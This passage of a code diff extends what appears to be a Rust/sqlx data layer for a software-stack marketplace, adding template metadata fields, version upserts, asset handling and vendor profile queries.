+            vendor_url
         "#,
     )
     .bind(creator_user_id)
@@ -316,31 +543,30 @@ pub async fn create_draft(
     .bind(category_code)
     .bind(tags)
     .bind(tech_stack)
+    .bind(infrastructure_requirements)
     .bind(price_f64)
     .bind(billing_cycle)
+    .bind(required_plan_name)
     .bind(currency)
+    .bind(public_ports)
+    .bind(vendor_url)
     .fetch_one(pool)
     .instrument(query_span)
     .await
     .map_err(|e| {
         tracing::error!("create_draft error: {:?}", e);
 
-        // Provide user-friendly error messages for common constraint violations
         if let sqlx::Error::Database(db_err) = &e {
-            if let Some(code) = db_err.code() {
-                if code == "23505" {
-                    // Unique constraint violation
-                    if db_err.message().contains("stack_template_slug_key") {
-                        return format!(
-                            "Template slug '{}' is already in use. Please choose a different slug.",
-                            slug
-                        );
-                    }
-                }
+            if db_err.code().as_deref() == Some("23505")
+                && db_err.constraint() == Some(SLUG_UNIQUE_CONSTRAINT)
+            {
+                return CreateDraftError::DuplicateSlug {
+                    slug: slug.to_string(),
+                };
             }
         }
 
-        "Internal Server Error".to_string()
+        CreateDraftError::Internal
     })?;
 
     Ok(rec)
@@ -353,6 +579,11 @@ pub async fn set_latest_version(
     stack_definition: serde_json::Value,
     definition_format: Option<&str>,
     changelog: Option<&str>,
+    config_files: serde_json::Value,
+    assets: serde_json::Value,
+    seed_jobs: serde_json::Value,
+    post_deploy_hooks: serde_json::Value,
+    update_mode_capabilities: Option<serde_json::Value>,
 ) -> Result<StackTemplateVersion, String> {
     let query_span =
         tracing::info_span!("marketplace_set_latest_version", template_id = %template_id);
@@ -370,18 +601,45 @@ pub async fn set_latest_version(
         "Internal Server Error".to_string()
     })?;
 
-    let rec = sqlx::query_as!(
-        StackTemplateVersion,
+    let rec = sqlx::query_as::<_, StackTemplateVersion>(
         r#"INSERT INTO stack_template_version (
-            template_id, version, stack_definition, definition_format, changelog, is_latest
-        ) VALUES ($1,$2,$3,$4,$5,true)
-        RETURNING id, template_id, version, stack_definition, definition_format, changelog, is_latest, created_at"#,
-        template_id,
-        version,
-        stack_definition,
-        definition_format,
-        changelog
+            template_id,
+            version,
+            stack_definition,
+            config_files,
+            assets,
+            seed_jobs,
+            post_deploy_hooks,
+            update_mode_capabilities,
+            definition_format,
+            changelog,
+            is_latest
+        ) VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,true)
+        RETURNING
+            id,
+            template_id,
+            version,
+            stack_definition,
+            config_files,
+            assets,
+            seed_jobs,
+            post_deploy_hooks,
+            update_mode_capabilities,
+            definition_format,
+            changelog,
+            is_latest,
+            created_at"#,
     )
+    .bind(template_id)
+    .bind(version)
+    .bind(stack_definition)
+    .bind(config_files)
+    .bind(assets)
+    .bind(seed_jobs)
+    .bind(post_deploy_hooks)
+    .bind(update_mode_capabilities)
+    .bind(definition_format)
+    .bind(changelog)
     .fetch_one(pool)
     .instrument(query_span)
     .await
@@ -393,6 +651,87 @@ pub async fn set_latest_version(
     Ok(rec)
 }
 
+pub async fn upsert_latest_version(
+    pool: &PgPool,
+    template_id: &uuid::Uuid,
+    version: &str,
+    stack_definition: serde_json::Value,
+    definition_format: Option<&str>,
+    changelog: Option<&str>,
+    config_files: serde_json::Value,
+    assets: serde_json::Value,
+    seed_jobs: serde_json::Value,
+    post_deploy_hooks: serde_json::Value,
+    update_mode_capabilities: Option<serde_json::Value>,
+) -> Result<StackTemplateVersion, String> {
+    let query_span =
+        tracing::info_span!("marketplace_upsert_latest_version", template_id = %template_id);
+
+    let updated = sqlx::query_as::<_, StackTemplateVersion>(
+        r#"UPDATE stack_template_version
+           SET version = $2,
+               stack_definition = $3,
+               config_files = $4,
+               assets = $5,
+               seed_jobs = $6,
+               post_deploy_hooks = $7,
+               update_mode_capabilities = $8,
+               definition_format = $9,
+               changelog = $10
+           WHERE template_id = $1 AND is_latest = true
+           RETURNING
+               id,
+               template_id,
+               version,
+               stack_definition,
+               config_files,
+               assets,
+               seed_jobs,
+               post_deploy_hooks,
+               update_mode_capabilities,
+               definition_format,
+               changelog,
+               is_latest,
+               created_at"#,
+    )
+    .bind(template_id)
+    .bind(version)
+    .bind(stack_definition.clone())
+    .bind(config_files.clone())
+    .bind(assets.clone())
+    .bind(seed_jobs.clone())
+    .bind(post_deploy_hooks.clone())
+    .bind(update_mode_capabilities.clone())
+    .bind(definition_format)
+    .bind(changelog)
+    .fetch_optional(pool)
+    .instrument(query_span.clone())
+    .await
+    .map_err(|e| {
+        tracing::error!("upsert_latest_version update error: {:?}", e);
+        "Internal Server Error".to_string()
+    })?;
+
+    if let Some(version_row) = updated {
+        return Ok(version_row);
+    }
+
+    set_latest_version(
+        pool,
+        template_id,
+        version,
+        stack_definition,
+        definition_format,
+        changelog,
+        config_files,
+        assets,
+        seed_jobs,
+        post_deploy_hooks,
+        update_mode_capabilities,
+    )
+    .await
+}
+
 pub async fn update_metadata(
     pool: &PgPool,
     template_id: &uuid::Uuid,
@@ -402,9 +741,13 @@ pub async fn update_metadata(
     category_code: Option<&str>,
     tags: Option<serde_json::Value>,
     tech_stack: Option<serde_json::Value>,
+    infrastructure_requirements: Option<serde_json::Value>,
     price: Option<f64>,
     billing_cycle: Option<&str>,
+    required_plan_name: Option<&str>,
     currency: Option<&str>,
+    public_ports: Option<serde_json::Value>,
+    vendor_url: Option<&str>,
 ) -> Result<bool, String> {
     let query_span = tracing::info_span!("marketplace_update_metadata", template_id = %template_id);
 
@@ -421,33 +764,53 @@ pub async fn update_metadata(
         "Not Found".to_string()
     })?;
 
-    if status != "draft" && status != "rejected" {
+    if status != "draft" && status != "rejected" && status != "needs_changes" {
         return Err("Template not editable in current status".to_string());
     }
 
-    let res = sqlx::query!(
-        r#"UPDATE stack_template SET 
+    if let Some(category_code) = category_code {
+        sqlx::query(r#"INSERT INTO stack_category (name) VALUES ($1) ON CONFLICT DO NOTHING"#)
+            .bind(category_code)
+            .execute(pool)
+            .instrument(query_span.clone())
+            .await
+            .map_err(|e| {
+                tracing::error!("update_metadata category upsert error: {:?}", e);
+                "Internal Server Error".to_string()
+            })?;
+    }
+
+    let res = sqlx::query(
+        r#"UPDATE stack_template SET
             name = COALESCE($2, name),
             short_description = COALESCE($3, short_description),
             long_description = COALESCE($4, long_description),
             category_id = COALESCE((SELECT id FROM stack_category WHERE name = $5), category_id),
             tags = COALESCE($6, tags),
             tech_stack = COALESCE($7, tech_stack),
-            price = COALESCE($8, price),
-            billing_cycle = COALESCE($9, billing_cycle),
-            currency = COALESCE($10, currency)
+            infrastructure_requirements = COALESCE($8, infrastructure_requirements),
+            price = COALESCE($9, price),
+            billing_cycle = COALESCE($10, billing_cycle),
+            required_plan_name = COALESCE($11, required_plan_name),
+            currency = COALESCE($12, currency),
+            public_ports = COALESCE($13, public_ports),
+            vendor_url = COALESCE($14, vendor_url)
         WHERE id = $1::uuid"#,
-        template_id,
-        name,
-        short_description,
-        long_description,
-        category_code,
-        tags,
-        tech_stack,
-        price,
-        billing_cycle,
-        currency
     )
+    .bind(template_id)
+    .bind(name)
+    .bind(short_description)
+    .bind(long_description)
+    .bind(category_code)
+    .bind(tags)
+    .bind(tech_stack)
+    .bind(infrastructure_requirements)
+    .bind(price)
+    .bind(billing_cycle)
+    .bind(required_plan_name)
+    .bind(currency)
+    .bind(public_ports)
+    .bind(vendor_url)
     .execute(pool)
     .instrument(query_span)
     .await
@@ -459,6 +822,99 @@ pub async fn update_metadata(
     Ok(res.rows_affected() > 0)
 }
 
+pub async fn update_metadata_for_resubmit(
+    pool: &PgPool,
+    template_id: &uuid::Uuid,
+    name: Option<&str>,
+    short_description: Option<&str>,
+    long_description: Option<&str>,
+    category_code: Option<&str>,
+    tags: Option<serde_json::Value>,
+    tech_stack: Option<serde_json::Value>,
+    infrastructure_requirements: Option<serde_json::Value>,
+    price: Option<f64>,
+    billing_cycle: Option<&str>,
+    required_plan_name: Option<&str>,
+    currency: Option<&str>,
+    public_ports: Option<serde_json::Value>,
+    vendor_url: Option<&str>,
+) -> Result<bool, String> {
+    let query_span =
+        tracing::info_span!("marketplace_update_metadata_for_resubmit", template_id = %template_id);
+
+    let status = sqlx::query_scalar!(
+        r#"SELECT status FROM stack_template WHERE id = $1::uuid"#,
+        template_id
+    )
+    .fetch_one(pool)
+    .instrument(query_span.clone())
+    .await
+    .map_err(|e| {
+        tracing::error!("get status for resubmit error: {:?}", e);
+        "Not Found".to_string()
+    })?;
+
+    if status != "rejected" && status != "needs_changes" && status != "approved" {
+        return Err("Template metadata is not editable in current status".to_string());
+    }
+
+    if let Some(category_code) = category_code {
+        sqlx::query(r#"INSERT INTO stack_category (name) VALUES ($1) ON CONFLICT DO NOTHING"#)
+            .bind(category_code)
+            .execute(pool)
+            .instrument(query_span.clone())
+            .await
+            .map_err(|e| {
+                tracing::error!(
+                    "update_metadata_for_resubmit category upsert error: {:?}",
+                    e
+                );
+                "Internal Server Error".to_string()
+            })?;
+    }
+
+    let res = sqlx::query(
+        r#"UPDATE stack_template SET
+            name = COALESCE($2, name),
+            short_description = COALESCE($3, short_description),
+            long_description = COALESCE($4, long_description),
+            category_id = COALESCE((SELECT id FROM stack_category WHERE name = $5), category_id),
+            tags = COALESCE($6, tags),
+            tech_stack = COALESCE($7, tech_stack),
+            infrastructure_requirements = COALESCE($8, infrastructure_requirements),
+            price = COALESCE($9, price),
+            billing_cycle = COALESCE($10, billing_cycle),
+            required_plan_name = COALESCE($11, required_plan_name),
+            currency = COALESCE($12, currency),
+            public_ports = COALESCE($13, public_ports),
+            vendor_url = COALESCE($14, vendor_url)
+        WHERE id = $1::uuid"#,
+    )
+    .bind(template_id)
+    .bind(name)
+    .bind(short_description)
+    .bind(long_description)
+    .bind(category_code)
+    .bind(tags)
+    .bind(tech_stack)
+    .bind(infrastructure_requirements)
+    .bind(price)
+    .bind(billing_cycle)
+    .bind(required_plan_name)
+    .bind(currency)
+    .bind(public_ports)
+    .bind(vendor_url)
+    .execute(pool)
+    .instrument(query_span)
+    .await
+    .map_err(|e| {
+        tracing::error!("update_metadata_for_resubmit error: {:?}", e);
+        "Internal Server Error".to_string()
+    })?;
+
+    Ok(res.rows_affected() > 0)
+}
+
 pub async fn submit_for_review(pool: &PgPool, template_id: &uuid::Uuid) -> Result<bool, String> {
     let query_span =
         tracing::info_span!("marketplace_submit_for_review", template_id = %template_id);
@@ -484,10 +940,28 @@ pub async fn submit_for_review(pool: &PgPool, template_id: &uuid::Uuid) -> Resul
 pub async fn resubmit_with_new_version(
     pool: &PgPool,
     template_id: &uuid::Uuid,
+    name: Option<&str>,
+    short_description: Option<&str>,
+    long_description: Option<&str>,
+    category_code: Option<&str>,
+    tags: Option<serde_json::Value>,
+    tech_stack: Option<serde_json::Value>,
+    infrastructure_requirements: Option<serde_json::Value>,
+    price: Option<f64>,
+    billing_cycle: Option<&str>,
+    required_plan_name: Option<&str>,
+    currency: Option<&str>,
+    public_ports: Option<serde_json::Value>,
+    vendor_url: Option<&str>,
     version: &str,
     stack_definition: serde_json::Value,
     definition_format: Option<&str>,
     changelog: Option<&str>,
+    config_files: serde_json::Value,
+    assets: serde_json::Value,
+    seed_jobs: serde_json::Value,
+    post_deploy_hooks: serde_json::Value,
+    update_mode_capabilities: Option<serde_json::Value>,
 ) -> Result<StackTemplateVersion, String> {
     let query_span =
         tracing::info_span!("marketplace_resubmit_with_new_version", template_id = %template_id);
@@ -515,32 +989,193 @@ pub async fn resubmit_with_new_version(
         return Err("Template cannot be resubmitted from its current status".to_string());
     }
 
-    // Clear previous latest version
-    sqlx::query!(
-        r#"UPDATE stack_template_version SET is_latest = false WHERE template_id = $1 AND is_latest = true"#,
-        template_id
-    )
-    .execute(&mut *tx)
-    .instrument(query_span.clone())
-    .await
-    .map_err(|e| {
-        tracing::error!("clear latest version error: {:?}", e);
-        "Internal Server Error".to_string()
-    })?;
+    if let Some(category_code) = category_code {
+        sqlx::query(r#"INSERT INTO stack_category (name) VALUES ($1) ON CONFLICT DO NOTHING"#)
+            .bind(category_code)
+            .execute(&mut *tx)
+            .instrument(query_span.clone())
+            .await
+            .map_err(|e| {
+                tracing::error!("resubmit category upsert error: {:?}", e);
+                "Internal Server Error".to_string()
+            })?;
+    }
 
-    // Insert new version
-    let ver = sqlx::query_as!(
-        StackTemplateVersion,
-        r#"INSERT INTO stack_template_version (
-            template_id, version, stack_definition, definition_format, changelog, is_latest
-        ) VALUES ($1,$2,$3,$4,$5,true)
-        RETURNING id, template_id, version, stack_definition, definition_format, changelog, is_latest, created_at"#,
-        template_id,
-        version,
-        stack_definition,
-        definition_format,
-        changelog
+    sqlx::query(
+        r#"UPDATE stack_template SET
+            name = COALESCE($2, name),
+            short_description = COALESCE($3, short_description),
+            long_description = COALESCE($4, long_description),
+            category_id = COALESCE((SELECT id FROM stack_category WHERE name = $5), category_id),
+            tags = COALESCE($6, tags),
+            tech_stack = COALESCE($7, tech_stack),
+            infrastructure_requirements = COALESCE($8, infrastructure_requirements),
+            price = COALESCE($9, price),
+            billing_cycle = COALESCE($10, billing_cycle),
+            required_plan_name = COALESCE($11, required_plan_name),
+            currency = COALESCE($12, currency),
+            public_ports = COALESCE($13, public_ports),
+            vendor_url = COALESCE($14, vendor_url)
+         WHERE id = $1::uuid"#,
+    )
+    .bind(template_id)
+    .bind(name)
+    .bind(short_description)
+    .bind(long_description)
+    .bind(category_code)
+    .bind(tags.clone())
+    .bind(tech_stack.clone())
+    .bind(infrastructure_requirements.clone())
+    .bind(price)
+    .bind(billing_cycle)
+    .bind(required_plan_name)
+    .bind(currency)
+    .bind(public_ports.clone())
+    .bind(vendor_url)
+    .execute(&mut *tx)
+    .instrument(query_span.clone())
+    .await
+    .map_err(|e| {
+        tracing::error!("resubmit metadata update error: {:?}", e);
+        "Internal Server Error".to_string()
+    })?;
+
+    let current_latest = sqlx::query_as::<_, StackTemplateVersion>(
+        r#"SELECT
+                id,
+                template_id,
+                version,
+                stack_definition,
+                config_files,
+                assets,
+                seed_jobs,
+                post_deploy_hooks,
+                update_mode_capabilities,
+                definition_format,
+                changelog,
+                is_latest,
+                created_at
+           FROM stack_template_version
+           WHERE template_id = $1 AND is_latest = true
+           LIMIT 1"#,
+    )
+    .bind(template_id)
+    .fetch_optional(&mut *tx)
+    .instrument(query_span.clone())
+    .await
+    .map_err(|e| {
+        tracing::error!("load current latest version error: {:?}", e);
+        "Internal Server Error".to_string()
+    })?;
+
+    if let Some(current_latest) = current_latest {
+        if current_latest.version == version {
+            let ver = sqlx::query_as::<_, StackTemplateVersion>(
+                r#"UPDATE stack_template_version
+                   SET stack_definition = $2,
+                       config_files = $3,
+                       assets = $4,
+                       seed_jobs = $5,
+                       post_deploy_hooks = $6,
+                       update_mode_capabilities = $7,
+                       definition_format = $8,
+                       changelog = $9,
+                       is_latest = true
+                   WHERE id = $1
+                   RETURNING
+                       id,
+                       template_id,
+                       version,
+                       stack_definition,
+                       config_files,
+                       assets,
+                       seed_jobs,
+                       post_deploy_hooks,
+                       update_mode_capabilities,
+                       definition_format,
+                       changelog,
+                       is_latest,
+                       created_at"#,
+            )
+            .bind(current_latest.id)
+            .bind(stack_definition.clone())
+            .bind(config_files.clone())
+            .bind(assets.clone())
+            .bind(seed_jobs.clone())
+            .bind(post_deploy_hooks.clone())
+            .bind(update_mode_capabilities.clone())
+            .bind(definition_format)
+            .bind(changelog)
+            .fetch_one(&mut *tx)
+            .instrument(query_span.clone())
+            .await
+            .map_err(|e| {
+                tracing::error!("update same-version resubmit error: {:?}", e);
+                "Internal Server Error".to_string()
+            })?;
+
+            tx.commit().await.map_err(|e| {
+                tracing::error!("tx commit error: {:?}", e);
+                "Internal Server Error".to_string()
+            })?;
+
+            return Ok(ver);
+        }
+    }
+
+    // Clear previous latest version
+    sqlx::query!(
+        r#"UPDATE stack_template_version SET is_latest = false WHERE template_id = $1 AND is_latest = true"#,
+        template_id
     )
+    .execute(&mut *tx)
+    .instrument(query_span.clone())
+    .await
+    .map_err(|e| {
+        tracing::error!("clear latest version error: {:?}", e);
+        "Internal Server Error".to_string()
+    })?;
+
+    // Insert new version
+    let ver = sqlx::query_as::<_, StackTemplateVersion>(
+        r#"INSERT INTO stack_template_version (
+            template_id,
+            version,
+            stack_definition,
+            config_files,
+            assets,
+            seed_jobs,
+            post_deploy_hooks,
+            update_mode_capabilities,
+            definition_format,
+            changelog,
+            is_latest
+        ) VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,true)
+        RETURNING
+            id,
+            template_id,
+            version,
+            stack_definition,
+            config_files,
+            assets,
+            seed_jobs,
+            post_deploy_hooks,
+            update_mode_capabilities,
+            definition_format,
+            changelog,
+            is_latest,
+            created_at"#,
+    )
+    .bind(template_id)
+    .bind(version)
+    .bind(stack_definition)
+    .bind(config_files)
+    .bind(assets)
+    .bind(seed_jobs)
+    .bind(post_deploy_hooks)
+    .bind(update_mode_capabilities)
+    .bind(definition_format)
+    .bind(changelog)
     .fetch_one(&mut *tx)
     .instrument(query_span)
     .await
@@ -561,7 +1196,7 @@ pub async fn list_mine(pool: &PgPool, user_id: &str) -> Result<Vec<StackTemplate
     let query_span = tracing::info_span!("marketplace_list_mine", user = %user_id);
 
     sqlx::query_as::<_, StackTemplate>(
-        r#"SELECT 
+        r#"SELECT
             t.id,
             t.creator_user_id,
             t.creator_name,
@@ -584,8 +1219,19 @@ pub async fn list_mine(pool: &PgPool, user_id: &str) -> Result<Vec<StackTemplate
             t.created_at,
             t.updated_at,
             t.approved_at,
-            t.verifications
+            t.verifications,
+            t.infrastructure_requirements,
+            t.public_ports,
+            t.vendor_url,
+            v.version,
+            v.changelog,
+            COALESCE(v.config_files, '[]'::jsonb) AS config_files,
+            COALESCE(v.assets, '[]'::jsonb) AS assets,
+            COALESCE(v.seed_jobs, '[]'::jsonb) AS seed_jobs,
+            COALESCE(v.post_deploy_hooks, '[]'::jsonb) AS post_deploy_hooks,
+            v.update_mode_capabilities
         FROM stack_template t
+        LEFT JOIN stack_template_version v ON v.template_id = t.id AND v.is_latest = true
         LEFT JOIN stack_category c ON t.category_id = c.id
         WHERE t.creator_user_id = $1
         ORDER BY t.created_at DESC"#,
@@ -600,11 +1246,46 @@ pub async fn list_mine(pool: &PgPool, user_id: &str) -> Result<Vec<StackTemplate
     })
 }
 
+/// Return every marketplace_vendor_profile row ordered newest-first.
+/// Used by the admin vendor list to surface all vendors regardless of whether
+/// they have entries in the PostgREST products table.
+pub async fn admin_list_vendor_profiles(
+    pool: &PgPool,
+) -> Result<Vec<crate::models::MarketplaceVendorProfile>, String> {
+    let query_span = tracing::info_span!("marketplace_admin_list_vendor_profiles");
+    sqlx::query_as::<_, crate::models::MarketplaceVendorProfile>(
+        r#"SELECT
+            creator_user_id,
+            COALESCE(verification_status, 'unverified') AS verification_status,
+            COALESCE(onboarding_status, 'not_started')  AS onboarding_status,
+            COALESCE(payouts_enabled, false)             AS payouts_enabled,
+            payout_provider,
+            payout_account_ref,
+            COALESCE(metadata, '{}'::jsonb)              AS metadata,
+            created_at,
+            updated_at,
+            public_slug,
+            display_name,
+            bio,
+            avatar_url,
+            website_url
+        FROM marketplace_vendor_profile
+        ORDER BY created_at DESC NULLS LAST"#,
+    )
+    .fetch_all(pool)
+    .instrument(query_span)
+    .await
+    .map_err(|e| {
+        tracing::error!("admin_list_vendor_profiles error: {:?}", e);
+        "Internal Server Error".to_string()
+    })
+}
+
 pub async fn admin_list_submitted(pool: &PgPool) -> Result<Vec<StackTemplate>, String> {
     let query_span = tracing::info_span!("marketplace_admin_list_submitted");
 
     sqlx::query_as::<_, StackTemplate>(
-        r#"SELECT 
+        r#"SELECT
             t.id,
             t.creator_user_id,
             t.creator_name,
@@ -627,11 +1308,14 @@ pub async fn admin_list_submitted(pool: &PgPool) -> Result<Vec<StackTemplate>, S
             t.created_at,
             t.updated_at,
             t.approved_at,
-            t.verifications
+            t.verifications,
+            t.infrastructure_requirements,
+            t.public_ports,
+            t.vendor_url
         FROM stack_template t
         LEFT JOIN stack_category c ON t.category_id = c.id
         WHERE t.status IN ('submitted', 'approved')
-        ORDER BY 
+        ORDER BY
             CASE t.status
                 WHEN 'submitted' THEN 0
                 WHEN 'approved' THEN 1
@@ -653,6 +1337,7 @@ pub async fn admin_decide(
     reviewer_user_id: &str,
     decision: &str,
     review_reason: Option<&str>,
+    verifications: Option<&serde_json::Value>,
 ) -> Result<bool, String> {
     let _query_span = tracing::info_span!("marketplace_admin_decide", template_id = %template_id, decision = %decision);
 
@@ -685,7 +1370,7 @@ pub async fn admin_decide(
     } else if decision == "rejected" {
         "rejected"
     } else {
-        "under_review"
+        "needs_changes"
     };
     let should_set_approved = decision == "approved";
 
@@ -702,6 +1387,21 @@ pub async fn admin_decide(
         "Internal Server Error".to_string()
     })?;
 
+    // Merge admin verifications into template.verifications if provided
+    if let Some(v) = verifications {
+        sqlx::query(
+            r#"UPDATE stack_template SET verifications = verifications || $2::jsonb WHERE id = $1::uuid"#,
+        )
+        .bind(template_id)
+        .bind(v)
+        .execute(&mut *tx)
+        .await
+        .map_err(|e| {
+            tracing::error!("update verifications error: {:?}", e);
+            "Internal Server Error".to_string()
+        })?;
+    }
+
     tx.commit().await.map_err(|e| {
         tracing::error!("tx commit error: {:?}", e);
         "Internal Server Error".to_string()
@@ -718,7 +1418,8 @@ pub async fn admin_unapprove(
     reviewer_user_id: &str,
     reason: Option<&str>,
 ) -> Result<bool, String> {
-    let _query_span = tracing::info_span!("marketplace_admin_unapprove", template_id = %template_id);
+    let _query_span =
+        tracing::info_span!("marketplace_admin_unapprove", template_id = %template_id);
 
     let mut tx = pool.begin().await.map_err(|e| {
         tracing::error!("tx begin error: {:?}", e);
@@ -876,8 +1577,9 @@ pub async fn list_versions_by_template(
 
     sqlx::query_as::<_, StackTemplateVersion>(
         r#"
-        SELECT id, template_id, version, stack_definition, definition_format,
-               changelog, is_latest, created_at
+        SELECT id, template_id, version, stack_definition, config_files, assets, seed_jobs,
+               post_deploy_hooks, update_mode_capabilities, definition_format, changelog,
+               is_latest, created_at
         FROM stack_template_version
         WHERE template_id = $1
         ORDER BY created_at DESC
@@ -893,6 +1595,139 @@ pub async fn list_versions_by_template(
     })
 }
 
+pub async fn get_latest_version_by_template(
+    pool: &PgPool,
+    template_id: uuid::Uuid,
+) -> Result<Option<StackTemplateVersion>, String> {
+    let query_span =
+        tracing::info_span!("get_latest_version_by_template", template_id = %template_id);
+
+    sqlx::query_as::<_, StackTemplateVersion>(
+        r#"
+        SELECT id, template_id, version, stack_definition, config_files, assets, seed_jobs,
+               post_deploy_hooks, update_mode_capabilities, definition_format, changelog,
+               is_latest, created_at
+        FROM stack_template_version
+        WHERE template_id = $1 AND is_latest = true
+        LIMIT 1
+        "#,
+    )
+    .bind(template_id)
+    .fetch_optional(pool)
+    .instrument(query_span)
+    .await
+    .map_err(|e| {
+        tracing::error!("get_latest_version_by_template error: {:?}", e);
+        "Internal Server Error".to_string()
+    })
+}
+
+pub async fn upsert_latest_version_asset(
+    pool: &PgPool,
+    template_id: uuid::Uuid,
+    asset: &serde_json::Value,
+) -> Result<serde_json::Value, String> {
+    let query_span = tracing::info_span!("upsert_latest_version_asset", template_id = %template_id);
+
+    let existing_assets: serde_json::Value = sqlx::query_scalar(
+        r#"
+        SELECT assets
+        FROM stack_template_version
+        WHERE template_id = $1 AND is_latest = true
+        LIMIT 1
+        "#,
+    )
+    .bind(template_id)
+    .fetch_optional(pool)
+    .instrument(query_span.clone())
+    .await
+    .map_err(|e| {
+        tracing::error!("load_latest_version_assets error: {:?}", e);
+        "Internal Server Error".to_string()
+    })?
+    .ok_or_else(|| "Latest template version not found".to_string())?;
+
+    let asset_key = asset
+        .get("key")
+        .and_then(|value| value.as_str())
+        .ok_or_else(|| "Asset key is required".to_string())?;
+
+    let mut assets = existing_assets.as_array().cloned().unwrap_or_default();
+    if let Some(index) = assets.iter().position(|item| {
+        item.get("key")
+            .and_then(|value| value.as_str())
+            .map(|key| key == asset_key)
+            .unwrap_or(false)
+    }) {
+        assets[index] = asset.clone();
+    } else {
+        assets.push(asset.clone());
+    }
+
+    let updated_assets = serde_json::Value::Array(assets);
+
+    sqlx::query(
+        r#"
+        UPDATE stack_template_version
+        SET assets = $2
+        WHERE template_id = $1 AND is_latest = true
+        "#,
+    )
+    .bind(template_id)
+    .bind(&updated_assets)
+    .execute(pool)
+    .instrument(query_span)
+    .await
+    .map_err(|e| {
+        tracing::error!("upsert_latest_version_asset error: {:?}", e);
+        "Internal Server Error".to_string()
+    })?;
+
+    Ok(updated_assets)
+}
+
+pub async fn get_latest_version_asset_by_key(
+    pool: &PgPool,
+    template_id: uuid::Uuid,
+    asset_key: &str,
+) -> Result<Option<serde_json::Value>, String> {
+    let query_span = tracing::info_span!(
+        "get_latest_version_asset_by_key",
+        template_id = %template_id,
+        asset_key = %asset_key
+    );
+
+    let assets: serde_json::Value = sqlx::query_scalar(
+        r#"
+        SELECT assets
+        FROM stack_template_version
+        WHERE template_id = $1 AND is_latest = true
+        LIMIT 1
+        "#,
+    )
+    .bind(template_id)
+    .fetch_optional(pool)
+    .instrument(query_span)
+    .await
+    .map_err(|e| {
+        tracing::error!("get_latest_version_asset_by_key error: {:?}", e);
+        "Internal Server Error".to_string()
+    })?
+    .unwrap_or_else(|| serde_json::Value::Array(vec![]));
+
+    Ok(assets.as_array().and_then(|items| {
+        items
+            .iter()
+            .find(|item| {
+                item.get("key")
+                    .and_then(|value| value.as_str())
+                    .map(|key| key == asset_key)
+                    .unwrap_or(false)
+            })
+            .cloned()
+    }))
+}
+
 /// List all reviews for a template, ordered by submission date descending
 pub async fn list_reviews_by_template(
     pool: &PgPool,
@@ -919,6 +1754,387 @@ pub async fn list_reviews_by_template(
     })
 }
 
+pub async fn get_vendor_profile_by_creator(
+    pool: &PgPool,
+    creator_user_id: &str,
+) -> Result<Option<MarketplaceVendorProfile>, String> {
+    let query_span =
+        tracing::info_span!("get_vendor_profile_by_creator", creator_user_id = %creator_user_id);
+
+    sqlx::query_as::<_, MarketplaceVendorProfile>(
+        r#"SELECT
+            creator_user_id,
+            verification_status,
+            onboarding_status,
+            payouts_enabled,
+            payout_provider,
+            payout_account_ref,
+            metadata,
+            created_at,
+            updated_at,
+            public_slug,
+            display_name,
+            bio,
+            avatar_url,
+            website_url
+        FROM marketplace_vendor_profile
+        WHERE creator_user_id = $1"#,
+    )
+    .bind(creator_user_id)
+    .fetch_optional(pool)
+    .instrument(query_span)
+    .await
+    .map_err(|e| {
+        tracing::error!("get_vendor_profile_by_creator error: {:?}", e);
+        "Internal Server Error".to_string()
+    })
+}
+
+pub async fn upsert_vendor_profile(
+    pool: &PgPool,
+    creator_user_id: &str,
+    verification_status: Option<&str>,
+    onboarding_status: Option<&str>,
+    payouts_enabled: Option<bool>,
+    payout_provider: Option<&str>,
+    payout_account_ref: Option<&str>,
+    metadata: Option<serde_json::Value>,
+) -> Result<MarketplaceVendorProfile, String> {
+    let query_span =
+        tracing::info_span!("upsert_vendor_profile", creator_user_id = %creator_user_id);
+
+    sqlx::query_as::<_, MarketplaceVendorProfile>(
+        r#"INSERT INTO marketplace_vendor_profile (
+            creator_user_id,
+            verification_status,
+            onboarding_status,
+            payouts_enabled,
+            payout_provider,
+            payout_account_ref,
+            metadata
+        )
+        VALUES (
+            $1,
+            COALESCE($2, 'unverified'),
+            COALESCE($3, 'not_started'),
+            COALESCE($4, false),
+            $5,
+            $6,
+            COALESCE($7, '{}'::jsonb)
+        )
+        ON CONFLICT (creator_user_id) DO UPDATE SET
+            verification_status = COALESCE($2, marketplace_vendor_profile.verification_status),
+            onboarding_status = COALESCE($3, marketplace_vendor_profile.onboarding_status),
+            payouts_enabled = COALESCE($4, marketplace_vendor_profile.payouts_enabled),
+            payout_provider = COALESCE($5, marketplace_vendor_profile.payout_provider),
+            payout_account_ref = COALESCE($6, marketplace_vendor_profile.payout_account_ref),
+            metadata = COALESCE($7, marketplace_vendor_profile.metadata),
+            updated_at = NOW()
+        RETURNING
+            creator_user_id,
+            verification_status,
+            onboarding_status,
+            payouts_enabled,
+            payout_provider,
+            payout_account_ref,
+            metadata,
+            created_at,
+            updated_at,
+            public_slug,
+            display_name,
+            bio,
+            avatar_url,
+            website_url"#,
+    )
+    .bind(creator_user_id)
+    .bind(verification_status)
+    .bind(onboarding_status)
+    .bind(payouts_enabled)
+    .bind(payout_provider)
+    .bind(payout_account_ref)
+    .bind(metadata)
+    .fetch_one(pool)
+    .instrument(query_span)
+    .await
+    .map_err(|e| {
+        tracing::error!("upsert_vendor_profile error: {:?}", e);
+        "Internal Server Error".to_string()
+    })
+}
+
+pub async fn update_vendor_public_profile(
+    pool: &PgPool,
+    creator_user_id: &str,
+    public_slug: Option<&str>,
+    display_name: Option<&str>,
+    bio: Option<&str>,
+    avatar_url: Option<&str>,
+    website_url: Option<&str>,
+) -> Result<(), String> {
+    let query_span =
+        tracing::info_span!("update_vendor_public_profile", creator_user_id = %creator_user_id);
+
+    sqlx::query(
+        r#"INSERT INTO marketplace_vendor_profile (creator_user_id, public_slug, display_name, bio, avatar_url, website_url)
+        VALUES ($1, $2, $3, $4, $5, $6)
+        ON CONFLICT (creator_user_id) DO UPDATE SET
+            public_slug   = COALESCE($2, marketplace_vendor_profile.public_slug),
+            display_name  = COALESCE($3, marketplace_vendor_profile.display_name),
+            bio           = COALESCE($4, marketplace_vendor_profile.bio),
+            avatar_url    = COALESCE($5, marketplace_vendor_profile.avatar_url),
+            website_url   = COALESCE($6, marketplace_vendor_profile.website_url),
+            updated_at    = NOW()"#,
+    )
+    .bind(creator_user_id)
+    .bind(public_slug)
+    .bind(display_name)
+    .bind(bio)
+    .bind(avatar_url)
+    .bind(website_url)
+    .execute(pool)
+    .instrument(query_span)
+    .await
